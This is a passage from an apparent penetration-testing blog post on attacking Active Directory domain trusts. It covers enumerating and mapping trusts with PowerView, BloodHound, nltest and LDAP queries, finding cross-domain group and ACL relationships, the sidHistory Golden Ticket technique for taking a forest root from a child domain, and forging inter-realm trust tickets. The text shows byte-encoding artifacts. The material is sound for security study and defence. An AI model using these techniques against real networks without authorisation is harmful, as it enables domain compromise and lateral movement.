this means in some cases you can Kerberoast across trusts, more on this at the end of post.) After all, Active Directory is meant as a queryable database of information, and trusts don\xe2\x80\x99t change that! A Trust Attack Strategy Before we get into the technical details of how to enumerate and abuse trusts, I wanted to go over the high level strategy I use when auditing trust relationships. When I talk about a \xe2\x80\x9ctrust attack strategy\xe2\x80\x9d what I mean is a way to laterally move from the domain in which your access currently resides into another domain you\xe2\x80\x99re targeting. (1) The first step is to enumerate all trusts your current domain has, along with any trusts those domains have, and so on. Basically, you want to produce a mapping of all the domains you can reach from your current context through the linking of trust referrals. This will allow you to determine the domains you need to hop through to get to your target and what techniques you can execute to (possibly) achieve this. Any domains in the mapped \xe2\x80\x9cmesh\xe2\x80\x9d that are in the same forest (e.g. parent->child relationships) are of particular interest due to the SIDhistory-trust-hopping technique developed by Sean Metcalf and Benjamin Delpy, also covered in the The Trustpocalypse section. (2) The next step is to enumerate any users/groups/computers (security principals) in one domain that either (1) have access to resources in another domain (i.e. membership in local administrator groups, or DACL ACE entries), or (2) are in groups or (if a group) have users from another domain. The point here is to find relationships that cross the mapped trust boundaries in some way, and therefore might provide a type of \xe2\x80\x9caccess bridge\xe2\x80\x9d from one domain to another in the mesh. While a cross-domain nested relationship is not guaranteed to facilitate access, trusts are normally implemented for a reason, meaning more often than not some type of cross-domain user/group/resource \xe2\x80\x9cnesting\xe2\x80\x9d probably exists, and in many organizations these relationships are misconfigured. Another subnote- as mentioned, Kerberoasting across trusts may be another vector to hop a trust boundary. Check out the Another Sidenote: Kerberoasting Across Domain Trusts section for more information. (3) Now that you have mapped out the trust mesh, types, and cross-domain nested relationships, you have a map of what accounts you need to compromise to pivot from your current domain into your target. By performing targeted account compromise, and utilizing SID-history-hopping for domain trusts within a forest, we have been able to pivot through up to 7+ domains in the field to reach our objective. At a minimum, remember that if a domain trusts you, i.e. if the trust is bidirectional or if one-way and inbound, then you can query any Active Directory information from the trusting domain. And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d group is automatically added to Administrators domain local group in each domain in the forest. This means that trust \xe2\x80\x9cflows down\xe2\x80\x9d from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. OK, How Do I Enumerate Trusts? OK Will, you\xe2\x80\x99ve piqued my interest. How do I go about figuring out what trust relationships exist in my environment? As far as I know, there are three main methods to enumerate trusts: Win32 API calls, various .NET methods, and LDAP. Each one (frustratingly) returns a differing set of information, and each one has different execution methods. I\xe2\x80\x99ll cover the old school ways and the new, from built-in (and external) binaries, to .NET, to Win32 API calls, to PowerShell/PowerView and BloodHound. The sample trust architecture I\xe2\x80\x99ll be using for this post is: This image was generated with the new TrustVisualizer output (described in the Visualizing Domain Trusts section). With this new output, green edges mean \xe2\x80\x9cwithin forest\xe2\x80\x9d, red means external, and blue means inter-forest trust relationships. As with\xc2 @sixdub\xe2\x80\x98s DomainTrustExplorer the edge directions for one-way trust mean direction of access, not direction of trust. .NET Methods .NET provides us with some nice method wrappers that can enumerate a good chunk of domain and forest trust information. This was the first method that PowerView implemented, before branching into Win32 API and LDAP methods. The [System.DirectoryServices.ActiveDirectory.Domain] namespace has a\xc2 GetCurrentDomain() static method that returns a\xc2 System.DirectoryServices.ActiveDirectory.Domain class instance. This class implements the\xc2 GetAllTrustRelationships() method which nicely, \xe2\x80\x9cRetrieves all of the trust relationships for this domain.\xe2\x80\x9d One advantage of this method is its simplicity\xe2\x80\x94the information is laid out in a fashion that is easy to read and understand. One disadvantage is that it doesn\xe2\x80\x99t contain some of the additional information that other enumeration methods produce. ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() This used to be PowerView\xe2\x80\x99s default Get-DomainTrust enumeration method. I recently changed the default method to be LDAP, as this .NET method does not return forest trusts by default, while LDAP enumeration does. So in order to execute this method, you now need to run Get-DomainTrust -NET. Here\xe2\x80\x99s how it looks for my sample domain setup, running the enumeration from sub.dev.testlab.local: Forest trusts are functionally different than domain trusts. So if you want to enumerate any current forest->forest trusts, you need to call on\xc2 [System.DirectoryServices.ActiveDirectory.Forest] instead. Resulting forest objects also have their own\xc2 GetAllTrustRelationships() method which will return any current forest trusts: ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships() This is implemented as the default enumeration methods for PowerView\xe2\x80\x99s Get-ForestTrust function. Here\xe2\x80\x99s how it looks for my sample domain setup, again from sub.dev.testlab.local: Win32API You can also enumerate domain trusts through the DsEnumerateDomainTrusts() Win32 API call which returns a DS_DOMAIN_TRUSTS structure. While the information is a bit more complex than the .NET methods, it returns the SID and GUID of the target domain, as well as some useful flags and attributes. The flags are documented here and will tell you the trust direction, whether the trust is within the same forest, etc. The attributes are documented here under the TrustAttributes specification, and include things like WITHIN_FOREST, NON_TRANSITIVE, FILTER_SIDS, and more. FILTER_SIDS is the equivalent of QUARANTINED_DOMAIN if you ever see that nomenclature. You can invoke this method with Get-DomainTrust -API (same sub.dev.testlab.local origination domain): Of note, this appears to be what nltest.exe uses with its /trusted_domains flag: This is also the method that BloodHound uses to enumerate domain trusts. You can execute this with the new SharpHound.ps1 ingestor by using the Invoke-BloodHound -CollectionMethod trusts syntax. Note that this can also be combined with -Domain for foreign trust enumeration as well. LDAP Domain trusts are stored in Active Directory as \xe2\x80\x9ctrusted domain objects\xe2\x80\x9d with an objectClass of trustedDomain. This means you can use whatever LDAP querying method you would like to find out information about any domain trusts that are present by using the LDAP filter (objectClass=trustedDomain). For example, here\xe2\x80\x99s dsquery (only available on Windows servers): dsquery * -filter ""(objectClass=trustedDomain)"" -attr * The equivalent syntax with Joeware\xe2\x80\x99s Adfind is .\\adfind.exe -f objectclass=trusteddomain. And finally PowerView, which again now uses this LDAP as the default enumeration method for Get-DomainTrust: Since this LDAP method is now the default for PowerView\xe2\x80\x99s Get-DomainTrust, I\xe2\x80\x99m going to break down some of the result properties that might be a bit confusing. TrustType: DOWNLEVEL (0x00000001) \xe2\x80\x93 a trusted Windows domain that IS NOT running Active Directory. This is output as WINDOWS_NON_ACTIVE_DIRECTORY in PowerView for those not as familiar with the terminology. UPLEVEL (0x00000002) \xe2\x80\x93 a trusted Windows domain that IS running Active Directory.This is output as WINDOWS_ACTIVE_DIRECTORY in PowerView for those not as familiar with the terminology. MIT (0x00000003) \xe2\x80\x93 a trusted domain that is running a non-Windows (*nix), RFC4120-compliant Kerberos distribution. This is labeled as MIT due to, well, MIT publishing RFC4120. TrustAttributes: NON_TRANSITIVE (0x00000001) \xe2\x80\x93 the trust cannot be used transitively. That is, if DomainA trusts DomainB and DomainB trusts DomainC, then DomainA does not automatically trust DomainC. Also, if a trust is non-transitive, then you will not be able to query any Active Directory information from trusts up the chain from the non-transitive point. External trusts are implicitly non-transitive. UPLEVEL_ONLY (0x00000002) \xe2\x80\x93 only Windows 2000 operating system and newer clients can use the trust. QUARANTINED_DOMAIN (0x00000004) \xe2\x80\x93 SID filtering is enabled (more on this later). Output as FILTER_SIDS with PowerView for simplicity. FOREST_TRANSITIVE (0x00000008) \xe2\x80\x93 cross-forest trust between the root of two domain forests running at least domain functional level 2003 or above. CROSS_ORGANIZATION (0x00000010) \xe2\x80\x93 the trust is to a domain or forest that is not part of the organization, which adds the OTHER_ORGANIZATION SID. This is a bit of a weird one. I don\xe2\x80\x99t remember encountering this flag in the field, but according to this post it means that the selective authentication security protection is enabled. For more information, check out this MSDN doc. WITHIN_FOREST (0x00000020) \xe2\x80\x93 the trusted domain is within the same forest, meaning a parent->child or cross-link relationship TREAT_AS_EXTERNAL (0x00000040) \xe2\x80\x93 the trust is to be treated as external for trust boundary purposes. According to the documentation, \xe2\x80\x9cIf this bit is set, then a cross-forest trust to a domain is to be treated as an external trust for the purposes of SID Filtering. Cross-forest trusts are more stringently filtered than external trusts. This attribute relaxes those cross-forest trusts to be equivalent to external trusts.\xe2\x80\x9d This sounds enticing, and I\xe2\x80\x99m not 100% sure on the security implications of this statement \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf but I will update this post if anything new surfaces. USES_RC4_ENCRYPTION (0x00000080) \xe2\x80\x93 if the TrustType is MIT, specifies that the trust that supports RC4 keys. USES_AES_KEYS (0x00000100) \xe2\x80\x93 not listed in the linked Microsoft documentation, but according to some documentation I\xe2\x80\x99ve been able to find online, it specifies that AES keys are used to encrypt KRB TGTs. CROSS_ORGANIZATION_NO_TGT_DELEGATION (0x00000200) \xe2\x80\x93 \xe2\x80\x9cIf this bit is set, tickets granted under this trust MUST NOT be trusted for delegation.\xe2\x80\x9d This is described more in [MS-KILE] 3.3.5.7.5 (Cross-Domain Trust and Referrals.) PIM_TRUST (0x00000400) \xe2\x80\x93 \xe2\x80\x9cIf this bit and the TATE (treat as external) bit are set, then a cross-forest trust to a domain is to be treated as Privileged Identity Management trust for the purposes of SID Filtering.\xe2\x80\x9d According to [MS-PAC] 4.1.2.2 (SID Filtering and Claims Transformation), \xe2\x80\x9cA domain can be externally managed by a domain that is outside the forest. The trusting domain allows SIDs that are local to its forest to come over a PrivilegedIdentityManagement trust.\xe2\x80\x9d While I have not seen this in the field, and it\xe2\x80\x99s only supported by domain functional level 2012R2 and above, it also warrants further investigation :) All of these methods can also be executed against a domain that currently trusts you. Meaning, if your current domain has a bidirectional trust with FOREIGN domain, or if the trust is one-way and inbound (meaning said domain trusts you and therefore you have some kind of access), you can execute these methods against said domain to find the trusts for THAT domain. If you want to do this with PowerView, just supply the -Domain parameter, described in more detail in the next section. Data Enumeration Across Trusts With PowerView Last year I described my ground-up rewrite of PowerView. One of the changes mentioned was that now, any Get-Domain* function uses LDAP enumeration, meaning that we can pull said information from a domain that trusts us. This is done with the -Domain parameter: So what\xe2\x80\x99s actually happening under the hood? For a long time, I thought that this would \xe2\x80\x9creflect\xe2\x80\x9d LDAP queries through a domain controller in your current domain and onto domain controllers in the trusting domain. This would have been an awesome way to get around network boundaries, but sadly I was mistaken. What actually happens is that a referral is returned by the domain controller you are currently communicating with, which instructs your searching method to then bind to the foreign domain (i.e. the primary domain controller/PDC for that domain). If there is a trust with the foreign domain, an inter-realm TGT will be returned that can be used when communicating to the foreign domain. This means that if there is network segmentation between the computer you\xe2\x80\x99re currently querying from, and the PDC for the trusting domain, you won\xe2\x80\x99t be able to retrieve any results >_< From the Kerberos side, \xe2\x80\x9cunder the hood\xe2\x80\x9d, this means that a series of inter-realm referral tickets are automatically issued that allow our user to eventually request an LDAP service ticket from the target domain. If we use our sample domain architecture, and currently reside in sub.dev.testlab.local while querying prod.contoso.local, here\xe2\x80\x99s how the klist output looks: You can see the inter-realm tickets filtering up the trust chain to testlab.local, and eventually to contoso.local and eventually to prod.contoso.local. Mapping Domain Trusts There are few ways I know of to map the \xe2\x80\x9cmesh\xe2\x80\x9d of one or more trusts that exist in your environment. The first is through the global catalog. I talked about this a bit in my\xc2 \xe2\x80\x9cA Pentester\xe2\x80\x99s Guide to Group Scoping\xe2\x80\x9c post, but I\xe2\x80\x99ll reiterate some of that information here. The global catalog is a partial copy of all objects in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the global catalog, so we can enumerate every single internal and external trust that all domains in our current forest have extremely quickly, and only with traffic to our current PDC by running Get-DomainTrust -SearchBase \xe2\x80\x9cGC://$($ENV:USERDNSDOMAIN)\xe2\x80\x9d through PowerView. Here\xe2\x80\x99s how that looks running that function from sub.dev.testlab.local domain: This is a lot more results than just\xc2 Get-DomainTrust ! The second method is slower, but will provide even more results. Since we can enumerate any trusts that our current domain context has, and by way of referrals through LDAP, we can query any (objectClass=trustedDomain) objects from domains that currently trust our domain, then we can keep issuing these queries for any results and \xe2\x80\x9ccrawl\xe2\x80\x9d any reachable domains. Any domains marked as non-transitive can mess these results up, but we can still get a good number of results. The PowerView function to do this is Get-DomainTrustMapping (formerly Invoke-MapDomainTrust). These results can be exported to a CSV by piping Get-DomainTrustMapping to | Export-CSV -NoTypeInformation trusts.csv. The last way is through BloodHound/SharpHound. Again, you can execute this with the new SharpHound.ps1 ingestor by using the Invoke-BloodHound -CollectionMethod trusts syntax, and this can be combined with -Domain for foreign trust enumeration. A key thing to remember is that the exact trust mapping you\xe2\x80\x99ll get will depend on the domain you\xe2\x80\x99re currently in. Since the trust between external.local and sub.dev.testlab.local domain is a one-way non-transitive external trust, if you\xe2\x80\x99re querying from external.local you won\xe2\x80\x99t be able to see the trusts that contoso.local has, again because sub.dev.testlab.local won\xe2\x80\x99t repackage your TGT into an inter-realm TGT that can be forwarded onto any other domain. Also, if you\xe2\x80\x99re trying to enumerate the trusts on a foreign domain, you need to be able to bind to a domain controller (usually the PDC/primary domain controller) in the foreign domain you\xe2\x80\x99re querying. So, even if there is a transitive trust that would allow you to query the information, if network segmentation prevents you from talking to the target foreign domain, you\xe2\x80\x99re out of luck. Visualizing Domain Trusts Data is one thing, visualizations are another. A few years ago, one of my former workmates, Justin Warner, saw all this raw data and build a tool called DomainTrustExplorer that could perform some nodal analysis and visualization with PowerView\xe2\x80\x99s mapped trust data. As the default trust output has changed, and with BloodHound taking care of nodal analysis for us, I rewrote Justin\xe2\x80\x99s project into a simplified form that will take the updated trust .CSVs,\xc2 TrustVisualizer: The resulting graphml can be visualized with yEd, as described here. This is how I produced the the previous visualization of the sample trust architecture: Again, with this new output, green edges mean \xe2\x80\x9cwithin forest\xe2\x80\x9d, red means external, and blue means inter-forest trust relationships. As with\xc2 @sixdub\xe2\x80\x98s DomainTrustExplorer the edge directions for one-way trust mean direction of access, not direction of trust. When using SharpHound to collect the trust data, and BloodHound to visualization it, here\xe2\x80\x99s how the same above data looks: Foreign Relationship Enumeration Now that we\xe2\x80\x99ve mapped out all domain trusts reachable from the machine we\xe2\x80\x99re querying from, the next step in the attack planning phase hits few branches, depending on the specific types of the trusts we\xe2\x80\x99ve encountered. These next steps need to be executed for the hop from each each domain to another in the attack path. If the next domain hop is in the same forest as the domain we\xe2\x80\x99re pivoting from/through, and we\xe2\x80\x99re able to compromise the krbtgt hash of the child domain, then we can use the method described in the following Trustpocalypse section to compromise the forest root. If we\xe2\x80\x99re not able to compromise elevated access in the current/pivot child domain, or if the next step in the trust attack path is an external/forest trust, then we need to enumerate what users (if any) from the domain we\xe2\x80\x99re a part of are in groups in the target domain (or the next step in the domain attack path.) Unfortunately, there are a lot of caveats with this step. The exact nature of the trust your current domain retains with the trusting domain you\xe2\x80\x99re querying will affect what information you can retrieve, and the exact methods you can use. In general, again, this enumeration heavily depends on whether you\xe2\x80\x99re querying a foreign domain in the same forest, or across an external/inter-forest trust. I\xe2\x80\x99ll do my best to explain all the subtleties. There are three main ways that security principals (users/groups) from one domain can have access into resources in another foreign/trusting domain: They can be added to local groups on individual machines, i.e. the local \xe2\x80\x9cAdministrators\xe2\x80\x9d group on a server. They can be added to groups in the foreign domain. There are some caveats depending on trust type and group scope, described shortly. They can be added as principals in an access control list, most interesting for us as principals in ACEs in a DACL. For more background on ACLs/DACLs/ACEs, check out the \xe2\x80\x9cAn ACE Up The Sleeve\xe2\x80\x9d whitepaper. Case 1: Local Group Membership This involves enumerating the local memberships of one or more systems through remote SAM (SAMR) or through GPO correlation. I won\xe2\x80\x99t cover this case heavily here, but will note that we have had success in the past with targeted SAMR enumeration of high value servers or domain controllers for trust-hopping. The PowerView function to do this manually is Get-NetLocalGroupMember , and BloodHound will do this all automatically for you. Case 2: Foreign Group Membership The group membership case gets a bit tricky. The member property of an Active Directory group and the memberOf property of a user/group object have a special type of relationship called linked attributes. I covered this in more depth in a previous post, but with linked attributes, Active Directory calculates the value of a given attribute, referred to as the back link (e.g. memberOf with users/groups) from the value of another attribute, referred to as the forward link (e.g. member with a group). The gist is that group membership is ultimately preserved within the target group itself in the member property, and this all gets a bit complicated over trusts. Hopefully this will make more sense shortly. Whether or not the memberOf property saved with a user/group object reflects their foreign group memberships depends on the nature of the trust and scoping of the foreign group they\xe2\x80\x99re a member in. Here\xe2\x80\x99s a breakdown of the three group scopings, and which can have what type of foreign members added: Domain Local Groups can have intra-forest cross-domain users (users in the same forest as the group) added as members, as well as inter-forest cross-domain users (foreign security principals.) Global Groups can not have any cross-domain memberships, even within the same forest. So for our purposes we can ignore these. Universal Groups can have any user in the forest as a member, but \xe2\x80\x9cforeign security principals\xe2\x80\x9d (i.e. users from forest/external trusts) can not be a part of universal groups. If a user/group is nested into a group in another domain that\xe2\x80\x99s in the same forest (so a \xe2\x80\x9cdomain local\xe2\x80\x9d or \xe2\x80\x9cuniversal group\xe2\x80\x9d) then depending on the target group\xe2\x80\x99s scope the membership might be updated in the user/group\xe2\x80\x99s memberOf property. Groups with a \xe2\x80\x9cuniversal\xe2\x80\x9d scope have their memberships replicated in the global catalog for the forest, meaning a user\xe2\x80\x99s memberOf will be updated. If the group\xe2\x80\x99s scope the user is added to is \xe2\x80\x9cdomain local\xe2\x80\x9d, then the user\xe2\x80\x99s memberOf will NOT be updated (in the global catalog), as a group with \xe2\x80\x9cdomain local\xe2\x80\x9d scope does not have its memberships replicated in the forest. So the only way to tell what a user\xe2\x80\x99s foreign group memberships are, by solely looking at the user object, is if they are added to a universal group in the same forest. However, this also means that if we can bind to the global catalog of a forest, we can enumerate all of these specific cross-domain relationships easily. If the user is nested in a group in a domain over a forest/external trust, then things are treated a bit differently. Users that exist over external or forest trusts can still be added to domain local groups in the specified domain. These users show up as new entries in CN=ForeignSecurityPrincipals,DC=domain,DC=com in the domain to which they\xe2\x80\x99re being added, which are used as a kind of proxy that allows the foreign security identifiers to be added to resources in the domain. As Microsoft explains it, \xe2\x80\x9cWhen a trust is established between a domain in a forest and a domain outside of that forest, security principals from the external domain can access resources in the internal domain. Active Directory creates a foreign security principal object in the internal domain to represent each security principal from the trusted external domain. These foreign security principals can become members of domain local groups in the internal domain\xe2\x80\x9c. If \xe2\x80\x9cdomain local\xe2\x80\x9d or \xe2\x80\x9cgroup scoping\xe2\x80\x9d are foreign to you, check out my previous post on the subject. Tl;dr, as I understand it, these ForeignSecurityPrincipals act as aliases for the \xe2\x80\x9creal\xe2\x80\x9d user that\xe2\x80\x99s external to the domain/forest, and it\xe2\x80\x99s the ForeignSecurityPrincipal that\xe2\x80\x99s actually added to groups in the target domain. The SID of a given ForeignSecurityPrincipal is the same SID as the foreign user, which makes for easy filtering later. Case 3: Foreign ACL Principals Luckily most of the ntSecurityDescriptor property of Active Directory objects is (1) accessible to any domain authenticated user, and (2) replicated in the global catalog. This means that if from your current domain context, you can query the DACLs for all objects in a trusting domain, and filter any ACE entries where a foreign security principal has the given right on the object you\xe2\x80\x99re enumerating. You can use PowerView\xe2\x80\x99s Get-DomainObjectACL -Domain function to retrieve these ACEs, but in order to find cross-domain DACL relationships, you will need to filter out principals/SecurityIdentifiers that do not match the SID of the domain you\xe2\x80\x99re querying. I\xe2\x80\x99ll cover this in a future PowerView PowerUsage post. Operational Guidance Note: I\xe2\x80\x99ll also walk over all steps needed in the Case Study\xc2 section later in the post in case parts of this don\xe2\x80\x99t make sense. If you\xe2\x80\x99re currently within a child domain within a forest, and DO have elevated access in said child domain, refer to the Trustpocalypse section. If you\xe2\x80\x99re currently within a child domain within a forest, and DO NOT have elevated access in said child domain, then you can run PowerView\xe2\x80\x99s Get-DomainForeignUser function to enumerate users who are in groups outside of the user\xe2\x80\x99s current domain. This is a domain\xe2\x80\x99s \xe2\x80\x9coutgoing\xe2\x80\x9d access, i.e. users/groups who may have some kind of access into other domain groups within the same forest. This function can be useful to also map other intra-forest domain user/group relationships: If you\xe2\x80\x99re targeting an external/forest domain, or a target domain within the same forest, you can use PowerView\xe2\x80\x99s Get-DomainForeignGroupMember -Domain function. This enumerates groups in the target domain that contain users/groups who are not in the target domain. This is a domain\xe2\x80\x99s \xe2\x80\x9cincoming\xe2\x80\x9d access, i.e. groups in target domain with inbound membership relationships: Also, luckily for us, ForeignSecurityPrincipals are replicated in the global catalog, just like trusted domain objects (mentioned in the Mapping Domain Trusts section). So if you want to quickly enumerate all foreign security principals (i.e. any inbound foreign groups/users) that are members of groups within a domain within the current/target forest, you can query any global catalog with an LDAP filter of \xe2\x80\x98(objectclass=foreignSecurityPrincipal)\xe2\x80\x99. And since these foreign principals can only be added to groups with a domain local scope, we can extract the domain the foreign user was added to from the distinguishedname, query that domain directly for domain local-scoped groups with members, assuming we have some type of direct or transitive trust with that target domain. This allows us to compare the membership of these domain local groups each against the list of foreign users: This quickly gives us a mapping of all the foreign user/group nested relationships inbound into our current (or target) forest. If you are using BloodHound with its new SharpHound ingestor, you can still use\xc2 -Domain with the ingestor combined with the -CollectionMethod options of \xe2\x80\x98Group\xe2\x80\x99, \xe2\x80\x98LocalGroup\xe2\x80\x99, and/or \xe2\x80\x98ACL\xe2\x80\x99. BloodHound models user/group nodes with the name@ syntax in the schema. This removes the requirement of having to perform complex analytics to extract these relationships after the data has been collected. If user@dev.testlab.local is a member of group@testlab.local, that memberOf relationship is automatically modeled. If that nested group relationship shows up in any attack paths, it will be automatically included in your graph with no extra effort. Makes perfect sense, right? :) This is a complex topic if you\xe2\x80\x99re not familiar, so reread the previous section a few times until it makes sense how to tease out these cross-domain relationships. Check out the Case Study\xc2 section for a realistic walk through with the reference architecture I\xe2\x80\x99ve used throughout this post. The Trustpocalypse \xe2\x80\x93 SID Hopping Up Intra-Forest Trusts This is one of my favorite things I\xe2\x80\x99ve learned about in the last few years in security. Just as most people remember the first time they saw Mimikatz extract a plaintext password out of memory, the memory of when I realized what this attack entailed is seared into my mind. It started as many of my brain-blowing moments have, by viewing a tweet from Benjamin Delpy in June of 2015, and at first not understanding the implications: After chatting with Benjamin to confirm what I thought the implications were, his response was \xe2\x80\x9cSorry for your head :)\xe2\x80\x9d This is all thanks to work that Benjamin and Sean Metcalf worked on to make Golden tickets even more \xe2\x80\x9cgolden\xe2\x80\x9d. I blogged about this back in August of 2015 after their work was released in a post titled \xe2\x80\x9cThe Trustpocalypse.\xe2\x80\x9c Previous to this work, our strategy was to map out foreign user/group memberships and hop from child trust up to the forest root \xe2\x80\x9cby hand\xe2\x80\x9d, often a painstaking process in large environments with lots of domains. As described in the Trust Attack Strategy section, we always interpreted trust as \xe2\x80\x9cflowing down\xe2\x80\x9d from the forest root to child domains due to the \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d group. However, Microsoft has stated for years that \xe2\x80\x9cthe forest is the security boundary for Active Directory\xe2\x80\x9c, and an attack against intra-forest domains\xc2 has been known since (at least) 2005. But first, in order for this to make complete sense, I have to explain sidHistory and the SID filtering security mechanism, and what this all means for domains within a forest. sidHistory was added with Windows 2000 Active Directory, and was meant to facilitate the migration of users from one domain to another. If a user is migrated, their old security identifier (SID), along with the SIDs of any group they were previously a part of, can optionally be added to the sidHistory attribute of their new user account. When the new user attempts to access a resource, \xe2\x80\x9cif the SID or the SID history matches, access to the resource is granted or denied, according to the access specified in the ACL.\xe2\x80\x9d Meaning, any group/old user SID that is set in a user\xe2\x80\x99s sidHistory property grants them access as if they were that user or a member of those groups. Due to how trusts work within an Active Directory forest, the sidHistory property (\xe2\x80\x9cExtraSids\xe2\x80\x9d in the PAC) is respected within the domains of a forest because those SIDs are not filtered out in cross-domain referrals by the \xe2\x80\x9cSID Filtering\xe2\x80\x9d protection. So any user in a child domain that has their sidHistory/ExtraSids set to, say, the \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d SID (a group that exists only in the forest root) will effectively function as if they are an enterprise administrator. As Microsoft has known this is an issue, and the knowledge has been public since at least this 2005 ITPro Windows article\xc2 and almost certainly before, sidHistory is a protected attribute that is extremely difficult to modify. Previously, abuse of this involved a pretty complex process, and included modifying the sidHistory in the Active Directory database (ntds.dit) of the associated domain. There\xe2\x80\x99s more detail about exactly why/how this works in the Epilogue: SID Filtering\xc2 section. THIS IS WHY THE FOREST IS THE \xe2\x80\x9cTRUST BOUNDARY\xe2\x80\x9d IN ACTIVE DIRECTORY, NOT THE DOMAIN! Benjamin and Sean realized that with the introduction of Mimikatz\xe2\x80\x99 Golden Tickets, an attacker could set the ExtraSids section of the KERB_VALIDATION_INFO structure created for the ticket (the structure that \xe2\x80\x9cdefines the user\xe2\x80\x99s logon and authorization information provided by the DC\xe2\x80\x9c). The ExtraSids section is described as \xe2\x80\x9cA pointer to a list of KERB_SID_AND_ATTRIBUTES structures that contain a list of SIDs corresponding to groups in domains other than the account domain to which the principal belongs\xe2\x80\x9d (the KERB_SID_AND_ATTRIBUTES structure is defined here.) This means that if an attacker compromises \xe2\x80\x9cDomain Administrator\xe2\x80\x9d rights (or equivalent, actually just any account that can DCSync ;) in ANY child domain in the forest for just 5 minutes, the krbtgt hash of the child domain can be retrieved, and /sids: can be added to the Mimikatz constructed ticket without modifying the Active Directory database. This gives the attacker the ability to \xe2\x80\x9chop up\xe2\x80\x9d the forest trust relationship and compromise the forest root domain. If this is your first time hearing about this technique, as Benjamin said, \xe2\x80\x9cSorry for your head. :)\xe2\x80\x9d For our operational attack strategy, this means that if we are currently in a child domain and can compromise DCSync/DA access, or if we can compromise this level of access in any child domain along our attack chain, we can forgo the burdensome foreign relationship enumeration to hop up the trust to instantly compromise the forest root. We have done this in the field, and yes, it is awesome. :) For operational advice/guidance, check out my previous Trustpocalypse post from 2015. This will only work for hopping between trusts within a forest. This will not work for external or inter-forest trusts due to SID filtering, described in more detail in the Epilogue: SID Filtering section at the end of the post. A Case Study So, consider again the sample trust diagram: Say we land an account in external.local. Since sub.dev.testlab.local trusts external.local, external.local can query information from sub.dev.testlab.local, while SUB cannot do the same to EXTERNAL. From the external context, we can query the trusts that SUB has: But this only returns the direct trusts that sub.dev.testlab has with other domains (dev.testlab.local and external.local). If we can query the global catalog (not always possible) from sub.dev.testlab and return all domain trusts in the entire forest! Note that because since this is a one-way, non-transitive external trust into sub.dev.testlab.local, we can\xe2\x80\x99t query the trusts that contoso.local has from the EXTERNAL context, as our Kerberos traffic will not be properly referred. This is what this error usually means, in case you run across it: So, from here we would then run Get-DomainForeignGroupMember -Domain sub.dev.testlab.local to see if any groups in SUB contained members in EXTERNAL: From there, we would attempt targeted account compromise to hop the trust into sub.dev.testlab.local. The Get-DomainForeignUser command would be of no use here, due to the caveats about linked-value replication and trusted described in the\xc2 Foreign Relationship Enumeration section. However, because external.local -> sub.dev.testlab.local is an external trust relationships, it is implicitly non-transitive, so couldn\xe2\x80\x99t query the domain local group memberships of dev.testlab.local or testlab.local. If we were then able to compromise domain admin (or equivalent) credentials in sub.dev.testlab.local, we could build a sidHistory-trust-hopping Golden Ticket as described in the \xe2\x80\x9cTrustpocalypse\xe2\x80\x9d section to compromise the testlab.local forest root domain. If we weren\xe2\x80\x99t able to procure elevated access, we would run Get-DomainForeignUser to see if any users from sub.dev.testlab.local had access into other groups in the forest. Again, remember the previous information about scoping- only universal group memberships will be reflected here: We would also run Get-DomainForeignGroupMember -Domain dev.testlab.local and Get-DomainForeignGroupMember -Domain testlab.local to see that groups in those other forest domains had \xe2\x80\x9cincoming\xe2\x80\x9d access: Once/if we were able to compromise part or all of the testlab.local forest root through either of the previous approaches, we would then run Get-DomainForeignGroupMember -Domain contoso.local and Get-DomainForeignGroupMember -Domain prod.contoso.local to see if there were any users in the TESTLAB forest that had foreign group membership in the CONTOSO forest. Along the way, we would could run Get-NetLocalGroupMember against a targeted selection of servers (including DCs) to see if any users crossed the boundary that way via machine local groups. We could also use targeted Get-DomainObjectACL -Domain with various filters to check for foreign ACL memberships. Or we could just pull everything with BloodHound, and rely on the schema to model the cross-forest hops. :) Sidenote: Forging Inter-Realm Trust Tickets It is possible to forge inter-realm trust tickets to exploit trust relationships. As Sean covered this extremely well in his \xe2\x80\x9cIt\xe2\x80\x99s All About Trust\xe2\x80\x9d post, I\xe2\x80\x99ll refer you to his documentation for more operational details, and will just cover the implications of this technique and how it fits into our trust attack strategy. Recall the explanation of how Kerberos works across trusts: So when the user presents this inter-realm ticket-granting-ticket referral to the foreign domain, again signed by the inter-realm trust key, the user\xe2\x80\x99s TGT is included within it. And again, because the foreign domain trusts the domain that that issued the referral ticket, the foreign domain trusts the user\xe2\x80\x99s TGT and all its included information to be accurate. Again, in English, when the foreign domain decrypts the referral ticket with the negotiated trust key, it sees the user\xe2\x80\x99s TGT and says \xe2\x80\x9cOK, the other domain already authenticated this user and said this is who they say they are/these are the groups the user is in, so I\xe2\x80\x99ll trust this is accurate because I trust this domain.\xe2\x80\x9c So, if we can retrieve the hash of the inter-realm trust key, a referral ticket can be forged (as Sean describes) that allows us to pretend to be any user from the first domain when requesting access to the second domain. This hash retrieval can be done through normal password dumping or through DCSync, by querying the FOREIGN_DOMAIN_SHORTNAME$ account: However, if we can retrieve the inter-realm trust key, then in pretty much all cases we can pull the krbtgt hash of the referring domain. If we have this, we can construct a ticket for user referring domain, pretending to be any user we want to the foreign domain. This is why I haven\xe2\x80\x99t had a need to forge inter-realm trust referrals in the field, but there is one specific instance where it gets interesting. Back in 2015, after everyone started to fully realize the implications of Golden Tickets, Microsoft released scripts that allow organizations to change the password of the krbtgt account. In order for this to be effective for a single-domain forest, the password has to be changed twice. Now, because of the implementation of the sidHistory-hopping attack, the password for the krbtgt account in EVERY domain in the forest, twice. Say an organization does this, and rotates the passwords for every elevated account in every domain in the forest, are they safe? Well, while inter-realm trust keys automatically rotate every 30 days according to section 6.1.6.9.6.1 of the Active Directory Technical Specification, they aren\xe2\x80\x99t rotated when the krbtgt account changes. So if an attacker has the inter-realm keys in their possession, they can still use the sidHistory approach to hop up a trust, as Sean details. Then again, there\xe2\x80\x99s a million and one other ways to backdoor Active Directory. \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf So there\xe2\x80\x99s only one solution if you want to be sure 